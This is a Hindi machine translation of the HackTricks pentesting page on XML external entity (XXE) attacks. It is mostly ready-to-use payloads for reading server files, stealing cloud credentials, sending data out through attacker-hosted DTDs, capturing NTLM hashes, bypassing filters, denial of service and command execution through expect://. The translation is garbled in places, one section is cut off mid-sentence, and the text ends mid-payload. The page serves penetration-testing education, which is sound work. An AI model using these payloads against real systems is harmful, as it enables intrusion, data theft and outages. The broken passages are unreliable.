hacktricks/pentesting-web/xxe-xee-xml-external-entity.md

57 KiB

XXE - XEE - XML बाह्य एंटिटी

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

XML मूलभूत

XML एक मार्कअप भाषा है जो डेटा स्टोरेज और परिवहन के लिए डिज़ाइन की गई है, जिसमें एक लचीला संरचना है जो वर्णनात्मक नामित टैग का उपयोग करने की अनुमति देती है। यह HTML से भिन्न है क्योंकि यह पूर्वनिर्धारित टैग सेट से सीमित नहीं है। XML का महत्व JSON के उछाल के साथ कम हो गया है, भले ही इसकी प्रारंभिक भूमिका AJAX प्रौद्योगिकी में थी।

  • एंटिटी के माध्यम से डेटा प्रतिनिधित्व: XML में एंटिटी डेटा का प्रतिनिधित्व संभावित करती है, विशेष वर्ण जैसे &lt; और &gt;, जो < और > के समर्थन के लिए हैं ताकि XML के टैग सिस्टम के साथ संघर्ष न हो।

  • XML तत्वों की परिभाषा: XML तत्वों की परिभाषा की अनुमति है, जिसमें तत्वों को कैसे संरचित किया जाना चाहिए और उनमें कौन सी सामग्री हो सकती है, जिसमें किसी भी प्रकार की सामग्री से विशेष बच्चा तत्वों तक।

  • दस्तावेज़ प्रकार परिभाषा (DTD): DTD XML में दस्तावेज़ की संरचना और उसमें शामिल की जा सकने वाली डेटा की प्रकारों के लिए महत्वपूर्ण हैं। वे आंतरिक, बाह्य, या एक संयोजन हो सकते हैं, जो दस्तावेज़ को कैसे स्वरूपित किया जाएगा और सत्यापित किया जाएगा, उसके मार्गदर्शन करते हैं।

  • कस्टम और बाह्य एंटिटी: XML DTD में लचीले डेटा प्रतिनिधित्व के लिए कस्टम एंटिटी का समर्थन करता है। URL के साथ परिभाषित बाह्य एंटिटी, विशेष रूप से XML बाह्य एंटिटी (XXE) हमलों में सुरक्षा संबंधित चिंताएं उठाते हैं, जो XML पार्सर्स के बाह्य डेटा स्रोतों को कैसे उपयोग करते हैं, का शोध करते हैं: <!DOCTYPE foo [ <!ENTITY myentity "value" > ]>

  • पैरामीटर एंटिटी के साथ XXE डिटेक्शन: XXE वंशावली की खोज के लिए, विशेष रूप से जब पार्सर सुरक्षा उपाय के कारण सामान्य विधियाँ विफल हो जाती हैं, XML पैरामीटर एंटिटी का उपयोग किया जा सकता है। ये एंटिटी बाह्य-बैंड डिटेक्शन तकनीकों के लिए अनुमति देते हैं, जैसे DNS लुकअप या नियंत्रित डोमेन पर HTTP अनुरोध को ट्रिगर करना, विकल्पी रूप से XXE वंशावली की पुष्टि करने के लिए।

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>

  • <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>

मुख्य हमले

इन हमलों का अधिकांश पोर्टस्विगर्स XEE लैब्स का उपयोग करके परीक्षण किया गया था: https://portswigger.net/web-security/xxe

नई एंटिटी परीक्षण

इस हमले में मैं यह जांचने जा रहा हूँ कि क्या एक साधारण नई एंटिटी घोषणा काम कर रही है

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>

फ़ाइल पढ़ें

हम विभिन्न तरीकों से /etc/passwd पढ़ने की कोशिश करेंगे। Windows के लिए आप यह कोशिश कर सकते हैं: C:\windows\system32\drivers\etc\hosts

इस पहले मामले में ध्यान दें कि SYSTEM "**file:///**etc/passwd" भी काम करेगा।

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

यह दूसरा मामला उपयोगी होना चाहिए अगर वेब सर्वर PHP का उपयोग कर रहा है (पोर्टस्विगर्स लैब्स का मामला नहीं है)

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>

इस तीसरे मामले में ध्यान दें कि हम Element stockCheck को ANY के रूप में घोषित कर रहे हैं।

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>

निर्देशिका सूची

जावा आधारित एप्लिकेशन में एक ऐसा संभावित हो सकता है कि XXE के माध्यम से एक डायरेक्टरी की सामग्री को सूचीबद्ध किया जा सकता है जैसे (फ़ाइल के बजाय केवल निर्देशिका के लिए पूछा जा रहा है):

<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>

<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>

SSRF

एक XXE का उपयोग करके बादल में एक SSRF का दुरुपयोग किया जा सकता है

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

ब्लाइंड एसएसआरएफ

पहले कमेंट की गई तकनीक का उपयोग करके आप सर्वर को एक सर्वर तक पहुंचा सकते हैं जिसे आप नियंत्रित करते हैं ताकि यह अपनी कमजोरियों को दिखा सके। लेकिन, अगर यह काम नहीं कर रहा है, शायद यह एक्सएमएल एंटिटीज की अनुमति नहीं है, उस मामले में आप एक्सएमएल पैरामीटर एंटिटीज का उपयोग करने की कोशिश कर सकते हैं:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

"अंधा" SSRF - डेटा आउट-ऑफ-बैंड निकालें

इस अवसर पर हम सर्वर को एक नया DTD लोड कराने जा रहे हैं जिसमें एक हानिकारक पेलोड होगा जो एक फ़ाइल की सामग्री को HTTP अनुरोध के माध्यम से भेजेगा (बहु-लाइन फ़ाइलों के लिए आप इसे ftp://के माध्यम से निकालने की कोशिश कर सकते हैं)। यह व्याख्यान Portswiggers lab here** पर आधारित है।**

दिए गए हानिकारक DTD में, डेटा निकालने के लिए एक श्रृंखला कदम चलाए जाते हैं:

हानिकारक DTD उदाहरण:

संरचना निम्नलिखित है:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

इस DTD द्वारा निष्पादित चरण शामिल हैं:

  1. पैरामीटर एंटिटी की परिभाषा:
  • एक XML पैरामीटर एंटिटी, %file, बनाई जाती है, /etc/hostname फ़ाइल की सामग्री को पढ़ती है।
  • एक और XML पैरामीटर एंटिटी, %eval, परिभाषित की जाती है। यह नयी XML पैरामीटर एंटिटी, %exfiltrate, डायनेमिक रूप से घोषित करती है। %exfiltrate एंटिटी को अटैकर के सर्वर पर HTTP अनुरोध भेजने के लिए सेट किया जाता है, URL के क्वेरी स्ट्रिंग में %file एंटिटी की सामग्री को पारित करते हुए।
  1. एंटिटी का निष्पादन:
  • %eval एंटिटी का उपयोग किया जाता है, जिससे %exfiltrate एंटिटी के डायनेमिक घोषणा का निष्पादन होता है।
  • फिर %exfiltrate एंटिटी का उपयोग किया जाता है, जिससे निर्दिष्ट URL पर फ़ाइल की सामग्री के साथ HTTP अनुरोध को ट्रिगर किया जाता है।

हमलावत यह दुरुपयोगी DTD अक्सर अपने नियंत्रण में एक सर्वर पर होस्ट करता है, सामान्यत: एक URL पर जैसे http://web-attacker.com/malicious.dtd

XXE पेलोड: एक विकल्पी एप्लिकेशन का शोषण करने के लिए हमलावर एक XXE पेलोड भेजता है:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

त्रुटि आधारित (बाह्य DTD)

इस मामले में हम सर्वर को एक दुरुपयोगी DTD लोड कराने जा रहे हैं जो एक फ़ाइल की सामग्री को एक त्रुटि संदेश के भीतर दिखाएगा (यह केवल तभी मान्य है अगर आप त्रुटि संदेश देख सकते हैं)। यहां से उदाहरण।

एक दुरुपयोगी बाह्य दस्तावेज़ प्रकार परिभाषण (DTD) का उपयोग करके एक XML पार्सिंग त्रुटि संदेश को ट्रिगर किया जा सकता है, जिसमें /etc/passwd फ़ाइल की सामग्री प्रकट होती है। यह निम्नलिखित चरणों के माध्यम से पूरा किया जाता है:

  1. file नामक एक XML पैरामीटर एंटिटी परिभाषित की जाती है, जिसमें /etc/passwd फ़ाइल की सामग्री होती है।
  2. eval नामक एक XML पैरामीटर एंटिटी परिभाषित की जाती है, जिसमें एक और XML पैरामीटर एंटिटी error के लिए एक गतिशील घोषणा शामिल होती है। यह error एंटिटी, जब मूल्यांकन किया जाता है, एक अस्थायी फ़ाइल लोड करने का प्रयास करती है, जिसमें file एंटिटी की सामग्री उसका नाम होती है।
  3. eval एंटिटी को आमंत्रित किया जाता है, जिससे error एंटिटी की गतिशील घोषणा होती है।
  4. error एंटिटी को आमंत्रित करने से एक अस्थायी फ़ाइल लोड करने का प्रयास होता है, जिससे त्रुटि संदेश उत्पन्न होता है जिसमें /etc/passwd फ़ाइल की सामग्री फ़ाइल के नाम के रूप में शामिल होती है।

निम्नलिखित XML के साथ दुरुपयोगी बाह्य DTD को आमंत्रित किया जा सकता है:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

त्रुटि आधारित (सिस्टम DTD)

तो बाहरी बैंड इंटरेक्शन्स ब्लॉक किए जाने पर ब्लाइंड XXE वंलरेबिलिटी के बारे में क्या है (बाहरी कनेक्शन उपलब्ध नहीं हैं)?.

XML भाषा विनिर्देश में एक छल के द्वारा संवेदनशील डेटा को उजागर कर सकता है जब एक दस्तावेज़ का DTD आंतरिक और बाहरी घोषणाएँ मिलाता है। यह समस्या बाहरी रूप से घोषित एंटिटी के आंतरिक पुनर्निर्देशन की अनुमति देती है, जो त्रुटि आधारित XXE हमलों को करने की सुविधा प्रदान करती है। ऐसे हमले XML पैरामीटर एंटिटी के पुनर्निर्देशन का शिकार होते हैं, जिसे पहले से बाहरी DTD में घोषित किया गया है, आंतरिक DTD से। जब सर्वर द्वारा बाहरी बैंड कनेक्शन ब्लॉक किए जाते हैं, तो हमलावरों को हमला करने के लिए स्थानीय DTD फ़ाइलों पर निर्भर होना पड़ता है, जिसका उद्देश्य पार्शिंग त्रुटि को उत्पन्न करना है जिससे संवेदनशील जानकारी प्रकट हो।

समझौता करें जहां सर्वर की फ़ाइल सिस्टम में /usr/local/app/schema.dtd पर एक DTD फ़ाइल होती है, जिसमें custom_entity नामक एक एंटिटी को परिभाषित किया गया है। एक हमलावर निम्नलिखित रूप में एक हाइब्रिड DTD प्रस्तुत करके /etc/passwd फ़ाइल की सामग्री को प्रकट करने के लिए एक XML पार्सिंग त्रुटि उत्पन्न कर सकता है:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

इस DTD द्वारा निर्दिष्ट चरणों का पालन किया जाता है:

  • XML पैरामीटर एंटिटी जिसका नाम local_dtd है, उसमें सर्वर की फ़ाइल सिस्टम पर स्थित बाह्य DTD फ़ाइल शामिल है।
  • custom_entity XML पैरामीटर एंटिटी के लिए पुनर्निर्धारण होता है, जो पहले बाह्य DTD में परिभाषित था, एक त्रुटि-आधारित XXE उत्पीड़न को ढकने के लिए। यह पुनर्निर्धारण एक पार्सिंग त्रुटि को उत्पन्न करने के लिए डिज़ाइन किया गया है, जिससे /etc/passwd फ़ाइल की सामग्री उजागर होती है।
  • local_dtd एंटिटी का उपयोग करके, बाह्य DTD का उपयोग किया जाता है, जिसमें नए रूप में परिभाषित custom_entity शामिल होता है। इन क्रियाओं के अनुक्रम से, उपयोग के लिए लक्षित त्रुटि संदेश का उत्सर्जन होता है जिसे उत्पीड़न द्वारा लक्षित किया गया है।

वास्तविक दुनिया का उदाहरण: GNOME डेस्कटॉप परिवेश का उपयोग करने वाले सिस्टमों में अक्सर /usr/share/yelp/dtd/docbookx.dtd पर एक DTD होता है जिसमें ISOamso नामक एंटिटी होती है।

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

जैसा कि यह तकनीक एक आंतरिक DTD का उपयोग करती है, आपको पहले एक मान्य DTD खोजने की आवश्यकता है। आप इसे इंस्टॉल करके कर सकते हैं वही ऑपरेटिंग सिस्टम / सॉफ्टवेयर जो सर्वर का उपयोग कर रहा है और कुछ डिफ़ॉल्ट DTDs खोजने के लिए, या सिस्टम्स के अंदर से डिफ़ॉल्ट DTDs की सूची पकड़ने और जांचने के लिए किसी भी मौजूदा है:

<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

अधिक जानकारी के लिए https://portswigger.net/web-security/xxe/blind देखें

सिस्टम में DTDs खोजना

निम्नलिखित शानदार github रेपो में आप सिस्टम में मौजूद DTDs के पथ पा सकते हैं:

{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}

इसके अतिरिक्त, यदि आपके पास पीड़ित सिस्टम का डॉकर इमेज है, तो आप इसी रेपो के उपकरण का उपयोग करके इमेज को स्कैन कर सकते हैं और सिस्टम में मौजूद DTDs के पथ को खोज सकते हैं। गिथब के Readme को पढ़ें और सीखें।

java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar

Scanning TAR file /tmp/dadocker.tar

[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []

[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []

XXE के माध्यम से ऑफिस ओपन XML पार्सर्स

इस हमले का और विस्तृत विवरण के लिए, इस शानदार पोस्ट के दूसरे खंड की जाँच करें

कई वेब एप्लिकेशन्स द्वारा माइक्रोसॉफ्ट ऑफिस दस्तावेज़ अपलोड करने की क्षमता प्रदान की जाती है, जो फिर इन दस्तावेज़ों से कुछ विशेष विवरण निकालते हैं। उदाहरण के लिए, एक वेब एप्लिकेशन उपयोगकर्ताओं को एक XLSX प्रारूप स्प्रेडशीट अपलोड करके डेटा आयात करने की अनुमति देता है। पार्सर को स्प्रेडशीट से डेटा निकालने के लिए, यह अवश्यंभावी रूप से कम से कम एक XML फ़ाइल का पार्स करना होगा।

इस वंशानुक्रमिकता की जाँच के लिए, एक माइक्रोसॉफ्ट ऑफिस फ़ाइल बनाना आवश्यक है जिसमें एक XXE पेलोड हो। पहला कदम एक खाली निर्देशिका बनाना है जिसमें दस्तावेज़ को अनज़िप किया जा सकता है।

जब दस्तावेज़ को अनज़िप कर दिया गया है, तो ./unzipped/word/document.xml पर स्थित XML फ़ाइल को एक पसंदीदा पाठ संपादक (जैसे vim) में खोलकर संपादित किया जाना चाहिए। XML को जीवंश XXE पेलोड शामिल करने के लिए संशोधित किया जाना चाहिए, जिसमें अक्सर एक HTTP अनुरोध से प्रारंभ होता है।

संशोधित XML लाइनें दो मूल XML ऑब्ज

jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt

{% hint style="danger" %} PKZIP फ़ाइल्स के अंदर फ़ाइलों तक पहुँचना XXE को सिस्टम DTD फ़ाइल के माध्यम से दुरुपयोग करने के लिए बहुत उपयोगी है। इस खंड को देखें जिसमें सिस्टम DTD फ़ाइलों का दुरुपयोग कैसे करें इसका ज्ञान प्राप्त करें। {% endhint %}

PKZIP आर्काइव के भीतर फ़ाइल तक पहुँचने के पीछे की प्रक्रिया ज़रा से कई कदमों में शामिल है:

  1. एक HTTP अनुरोध किया जाता है ताकि निर्दिष्ट स्थान से जैसे https://download.website.com/archive.zip से जिप आर्काइव डाउनलोड किया जा सके।
  2. आर्काइव को संचित रूप से सिस्टम पर रखा जाता है, सामान्यत: /tmp/... जैसी स्थान पर।
  3. फिर आर्काइव को खोलने के लिए उसकी सामग्री तक पहुँचा जाता है।
  4. आर्काइव के भीतर विशिष्ट फ़ाइल, file.zip, पढ़ी जाती है।
  5. इस प्रक्रिया के दौरान बनाए गए किसी भी अस्थायी फ़ाइलों को हटा दिया जाता है।

इस प्रक्रिया को दूसरे कदम पर रोकने के लिए एक दिलचस्प तकनीक है जिसमें सर्वर कनेक्शन को खुला रखने के लिए असीमित रूप से सेव करते समय सर्वर कनेक्शन को खुला रखने के लिए उपलब्ध उपकरणों का उपयोग किया जा सकता है। इस रिपॉजिटरी में उपलब्ध उपकरणों का उपयोग इस उद्देश्य के लिए किया जा सकता है, जिसमें एक Python सर्वर (slow_http_server.py) और एक जावा सर्वर (slowserver.jar) शामिल हैं।

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>

{% hint style="danger" %} एक अस्थायी निर्देशिका में फ़ाइलें लिखना एक और सुरक्षा दोष को बढ़ा सकता है जो एक पथ चलना को शामिल करता है (जैसे स्थानीय फ़ाइल शामिल करें, टेम्पलेट इंजेक्शन, XSLT RCE, डिसीरियलाइज़ेशन, आदि)। {% endhint %}

XSS

<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>

डीओएस

बिलियन हंसी हमला

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Yaml हमला

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

चौकस ब्लोअप हमला

NTML प्राप्त करना

Windows होस्ट पर वेब सर्वर उपयोगकर्ता का NTML हैश प्राप्त करना संभव है एक responder.py हैंडलर सेट करके:

Responder.py -I eth0 -v

और निम्नलिखित अनुरोध भेजकर

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>

छिपी हुई XXE सतहें

XInclude

जब क्लाइंट डेटा को सर्वर-साइड XML दस्तावेजों में एकीकृत किया जाता है, जैसे कि बैकएंड SOAP अनुरोधों में, XML संरचना पर सीधा नियंत्रण अक्सर सीमित होता है, DOCTYPE तत्व को संशोधित करने पर प्रतिबंध लगने के कारण, पारंपरिक XXE हमलों को बाधित करता है। हालांकि, XInclude हमला एक समाधान प्रदान करता है जिसके द्वारा XML दस्तावेज के किसी भी डेटा तत्व में बाह्य एंटिटियों को डाला जा सकता है। यह विधि उस समय प्रभावी है जब केवल सर्वर द्वारा उत्पन्न XML दस्तावेज के डेटा का केवल एक हिस्सा नियंत्रित किया जा सकता है।

XInclude हमला करने के लिए, XInclude नेमस्पेस को घोषित किया जाना चाहिए, और इच्छित बाह्य एंटिटी के लिए फ़ाइल पथ को निर्दिष्ट किया जाना चाहिए। नीचे एक संक्षिप्त उदाहरण दिया गया है कि इस प्रकार का हमला कैसे तैयार किया जा सकता है:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

अधिक जानकारी के लिए https://portswigger.net/web-security/xxe पर जांच करें!

SVG - फ़ाइल अपलोड

उन फ़ाइलों को जो उपयोगकर्ताओं द्वारा किसी ऐप्लिकेशन पर अपलोड की जाती हैं, जो फिर सर्वर पर प्रोसेस की जाती हैं, में XML या XML-संबंधित फ़ाइल प्रारूपों को कैसे हैंडल किया जाता है, में गड़बड़ी का शिकार हो सकती है। ऑफिस दस्तावेज़ (DOCX) और छवियों (SVG) जैसे सामान्य फ़ाइल प्रारूप XML पर आधारित होते हैं।

जब उपयोगकर्ताएं छवियाँ अपलोड करते हैं, तो ये छवियाँ सर्वर-साइड प्रोसेस या सत्यापित की जाती हैं। ऐसे भी ऐप्लिकेशन्स के लिए जो PNG या JPEG जैसे प्रारूपों की उम्मीद कर रहे हों, सर्वर की छवि प्रोसेसिंग पुस्तकालय भी SVG छवियों का समर्थन कर सकती है। SVG, जो एक XML-आधारित प्रारूप है, हमलावादियों द्वारा दुरुपयोग किया जा सकता है ताकि वे दुरुपयोगी SVG छवियाँ सबमिट कर सकें, जिससे सर्वर को XXE (XML External Entity) वंशांकन की खुली हो सकती है।

इस तरह के एक दुरुपयोग का उदाहरण नीचे दिखाया गया है, जहाँ एक दुरुपयोगी SVG छवि सिस्टम फ़ाइलें पढ़ने का प्रयास करती है:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>

एक और तकनीक शामिल है जिसमें PHP "expect" व्रैपर के माध्यम से कमांड्स को निष्पादित करने का प्रयास किया जाता है:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>

दोनों मामलों में, SVG प्रारूप का उपयोग सर्वर के सॉफ़्टवेयर की XML प्रोसेसिंग क्षमताओं का शोषण करने वाले हमलों को लॉन्च करने के लिए किया जाता है, जिससे मजबूत इनपुट मान्यता और सुरक्षा उपाय की आवश्यकता को हाइलाइट किया जाता है।

अधिक जानकारी के लिए https://portswigger.net/web-security/xxe देखें!

एक PDF फ़ाइल अपलोड करने

एक XXE को शोषित करने के लिए एक PDF फ़ाइल अपलोड करने का उपयोग कैसे करें इसे सीखने के लिए निम्नलिखित पोस्ट पढ़ें:

{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %} pdf-upload-xxe-and-cors-bypass.md {% endcontent-ref %}

Content-Type: x-www-urlencoded से XML तक

यदि एक POST अनुरोध XML प्रारूप में डेटा स्वीकार करता है, तो आप उस अनुरोध में एक XXE का शोषण करने की कोशिश कर सकते हैं। उदाहरण के लिए, यदि एक सामान्य अनुरोध में निम्नलिखित शामिल है:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

फिर आप निम्नलिखित अनुरोध को सबमिट कर सकते हैं, जिससे एक ही परिणाम मिलेगा:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

Content-Type: JSON से XEE तक

अनुरोध को बदलने के लिए आप एक बर्प एक्सटेंशन उपयोग कर सकते हैं जिसका नाम है "Content Type Converter". यहाँ आप इस उदाहरण को पा सकते हैं:

Content-Type: application/json;charset=UTF-8

{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>

एक और उदाहरण यहाँ मिल सकता है।

WAF और सुरक्षा उलटाव

Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

UTF-7

यह केवल तब काम करेगा अगर XML सर्वर data:// प्रोटोकॉल स्वीकार करता है।

आप यहाँ ["Encode Recipe" of cyberchef here ]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) UTF-7 में बदल सकते हैं।

<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

फ़ाइल:/ प्रोटोकॉल बाईपास

अगर वेब PHP का उपयोग कर रहा है, तो file:/ की बजाय आप php wrappersphp://filter/convert.base64-encode/resource= का उपयोग आंतरिक फ़ाइलों तक पहुँचने के लिए कर सकते हैं।

अगर वेब Java का उपयोग कर रहा है तो आप jar: प्रोटोकॉल की जाँच कर सकते हैं।

HTML Entities

https://github.com/Ambrotd/XXE-Notes से ट्रिक
आप एक एंटिटी को एंटिटी के अंदर बना सकते हैं जिसे html entities से एन्कोड किया जाता है और फिर इसे एक dtd लोड करने के लिए कॉल कर सकते हैं।
ध्यान दें कि उपयोग किए जाने वाले HTML Entities को संख्यात्मक होना चाहिए (जैसे [इस उदाहरण में](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>

DTD उदाहरण:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;

PHP रैपर्स

Base64

निकालें index.php

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

बाह्य संसाधन निकालें

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>

रिमोट कोड निष्पादन

यदि PHP "expect" मॉड्यूल लोड है

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
